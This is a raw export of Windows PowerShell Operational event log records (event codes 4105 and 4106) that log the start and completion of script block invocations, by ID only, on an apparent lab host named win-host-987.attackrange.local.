LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042392
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042391
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042367
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042366
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042365
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042364
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042348
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042347
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
